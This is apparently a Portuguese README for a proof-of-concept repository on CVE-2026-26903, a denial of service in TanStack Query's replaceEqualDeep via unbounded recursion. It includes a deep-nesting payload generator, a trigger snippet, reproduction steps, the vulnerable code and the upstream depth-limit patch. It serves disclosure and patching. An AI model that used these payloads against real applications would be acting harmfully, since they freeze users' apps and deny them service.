CVE-2026-26903 PoC

Negação de serviço via recursão ilimitada na função replaceEqualDeep do TanStack Query

Uma única atualização de consulta maliciosa com objetos profundamente aninhados pode congelar a thread do JavaScript indefinidamente, causando completa falta de resposta da aplicação. Nenhuma autenticação ou permissão especial é necessária.

Versões Afetadas

Esta vulnerabilidade foi corrigida no @tanstack/[email protected] via PR #10032, publicado em 14 de janeiro de 2026.

Descrição Oficial

CVE-2026-26903: Negação de Serviço via recursão ilimitada em replaceEqualDeep (Severidade: Média)

A função replaceEqualDeep no TanStack Query realiza comparação recursiva de objetos aninhados sem limites de profundidade. Ao processar estruturas de dados profundamente aninhadas, isso pode desencadear recursão ilimitada levando a estouro de pilha e congelamento da aplicação.

— Atribuído via MITRE

Resumo da Vulnerabilidade

A função replaceEqualDeep do TanStack Query é usada internamente para determinar se os dados da consulta realmente mudaram, otimizando re-renderizações ao preservar referências de objetos quando possível. A função percorre recursivamente as propriedades do objeto para realizar uma comparação profunda de igualdade.

O Problema

A implementação recursiva carece de limites de profundidade ou detecção de ciclo:

function replaceEqualDeep(a, b) {
  // ... type checks ...
  
  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];
    // ... shallow equality checks ...
    
    // VULNERABLE: Unbounded recursion here
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;
    // ...
  }
  return copy;
}

Mecanismo do Ataque

1. Gatilho: Qualquer atualização de consulta que passe por replaceEqualDeep com dados profundamente aninhados
2. Payload: Objetos aninhados com 5.000+ níveis de profundidade
3. Impacto: Congelamento imediato da thread do JavaScript, completa falta de resposta da UI
4. Persistência: A aplicação permanece congelada até o recarregamento da página

Superfície de Ataque

• Direto: hooks useQuery com dados de resposta aninhados
• Indireto: setQueryData, invalidateQueries ou qualquer operação de cache de consulta
• Lado do cliente: Nenhum envolvimento do servidor necessário — DoS puramente do lado do cliente

Estrutura do Repositório

CVE-2026-26903-PoC/
├── README.md                 # Este arquivo
├── LICENSE
├── poc.js                    # PoC Node.js (crash por estouro de pilha)
└── tanstack-query-poc.html   # PoC no navegador (demo visual interativo)

Passos para Reprodução

1. Clonar e configurar

git clone https://github.com/[seu-usuario]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC

2. Executar o PoC Node.js (crash por estouro de pilha)

node poc.js

3. Saída esperada

Testing replaceEqualDeep with deep nesting...
 
Depth: 100
  OK - 0ms
 
Depth: 1000
  OK - 1ms
 
Depth: 5000
  CRASH - Maximum call stack size exceeded
 
Depth: 10000
  CRASH - Maximum call stack size exceeded

4. Executar o PoC no Navegador (demo visual interativo)

open tanstack-query-poc.html

1. Verificar se o app está responsivo:
   • Clique no botão do contador
   • Digite no campo de entrada
   • Observe o temporizador ao vivo contando
2. Acionar o DoS:
   • Clique em "TRIGGER DoS (10000 depth) - App Will Freeze"
   • Resultado: O temporizador para, os botões ficam sem resposta, a página congela

Testes Detalhados

Opção A: Demo HTML independente (sem dependências)

git clone https://github.com/[seu-usuario]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html

Opção B: Aplicação React (cenário realista)

cd examples/react-app-poc
npm install
npm start
# Navegue para http://localhost:3000 e siga as instruções na tela

Comportamento Esperado

Antes do Ataque:

• O botão do contador incrementa
• O temporizador ao vivo atualiza a cada segundo
• O campo de entrada responde à digitação
• Todas as interações da UI funcionam normalmente

Depois do Ataque:

• O temporizador congela no valor atual
• O botão do contador para de responder
• O campo de entrada fica sem resposta
• O console não mostra erros (a thread está bloqueada, não travada)
• Única solução: Recarregar a aba/janela do navegador

Como o Exploit Funciona

O PoC gera objetos profundamente aninhados e aciona replaceEqualDeep para processá-los:

1. Geração do Payload

function generateDeep(depth) {
  let obj = { value: 'end' };
  for (let i = 0; i < depth; i++) {
    obj = { nested: obj };
  }
  return obj;
}

// Cria: { nested: { nested: { nested: ... { value: 'end' } } } }

2. Gatilho do Ataque

const oldData = generateDeep(10000);  // 10.000 níveis de profundidade
const newData = generateDeep(10000);  // Objeto diferente, mesma estrutura

// Isto causa recursão ilimitada:
replaceEqualDeep(oldData, newData);

3. Cadeia de Recursão

replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested)     // Nível 1
    ├── replaceEqualDeep(obj1.nested.nested, ...)  // Nível 2
        ├── replaceEqualDeep(...)                   // Nível 3
            └── ... (continua por 10.000 níveis)

Cada chamada recursiva adiciona um novo quadro de pilha até que a pilha de chamadas do motor JavaScript seja exaurida, congelando a thread.

Código Vulnerável

Localização: @tanstack/query-core/src/utils.ts (aproximada)

export function replaceEqualDeep(a, b) {
  if (a === b) {
    return a;
  }

  const array = isPlainArray(a) && isPlainArray(b);

  if (!array && !(isPlainObject(a) && isPlainObject(b))) {
    return b;
  }

  const aItems = array ? a : Object.keys(a);
  const aSize = aItems.length;
  const bItems = array ? b : Object.keys(b);
  const bSize = bItems.length;
  const copy = array ? new Array(bSize) : {};

  let equalItems = 0;

  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];

    if (a[key] === b[key]) {
      copy[key] = a[key];
      equalItems++;
      continue;
    }

    if (
      a[key] === null ||
      b[key] === null ||
      typeof a[key] !== 'object' ||
      typeof b[key] !== 'object'
    ) {
      copy[key] = b[key];
      continue;
    }

    // VULNERÁVEL: Sem limite de profundidade ou detecção de ciclo
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;

    if (v === a[key]) {
      equalItems++;
    }
  }

  return aSize === bSize && equalItems === aSize ? a : copy;
}

Correção (Patch)

A correção (aplicada no commit 269351b do TanStack Query) adiciona um limite de profundidade para evitar recursão ilimitada:

- export function replaceEqualDeep<T>(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep<T>(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
   if (a === b) {
     return a
   }
 
+  if (depth > 500) return b
+
   const array = isPlainArray(a) && isPlainArray(b)
 
   if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
   
   // ... seção central inalterada ...
   
-    const v = replaceEqualDeep(aItem, bItem)
+    const v = replaceEqualDeep(aItem, bItem, depth + 1)
     copy[key] = v
     if (v === aItem) equalItems++

Principais mudanças:

1. Parâmetro depth adicionado com valor padrão 0 para rastrear a profundidade da recursão
2. Verificação de limite de profundidade adicionada — retorna b imediatamente se depth > 500
3. Profundidade incrementada nas chamadas recursivas — replaceEqualDeep(aItem, bItem, depth + 1) Esta correção simples previne estouro de pilha enquanto permite aninhamento razoável (500 níveis é mais que suficiente para estruturas de dados do mundo real).

Mitigação

Soluções Temporárias

1. Achatar dados profundamente aninhados antes de passar para o TanStack Query
2. Implementar funções de comparação personalizadas com limites de profundidade
3. Monitorar a complexidade dos dados da consulta em desenvolvimento

Correção Adequada

Implementar limitação de profundidade em replaceEqualDeep:

function replaceEqualDeep(a, b, depth = 0) {
  if (depth > MAX_DEPTH) return b; // Prevenir recursão profunda
  if (a === b) return a;
  
  // ... lógica existente ...
  
  const v = replaceEqualDeep(a[key], b[key], depth + 1);
  
  // ... resto da função
}

Ou usar iteração em vez de recursão.

Referências

• Aviso de Segurança do GitHub

Aviso Legal

Esta prova de conceito é fornecida apenas para fins educacionais e de testes de segurança autorizados. Use-a de forma responsável e apenas contra aplicações que você possui ou tem permissão explícita para testar. Os autores não são responsáveis por qualquer uso indevido desta informação.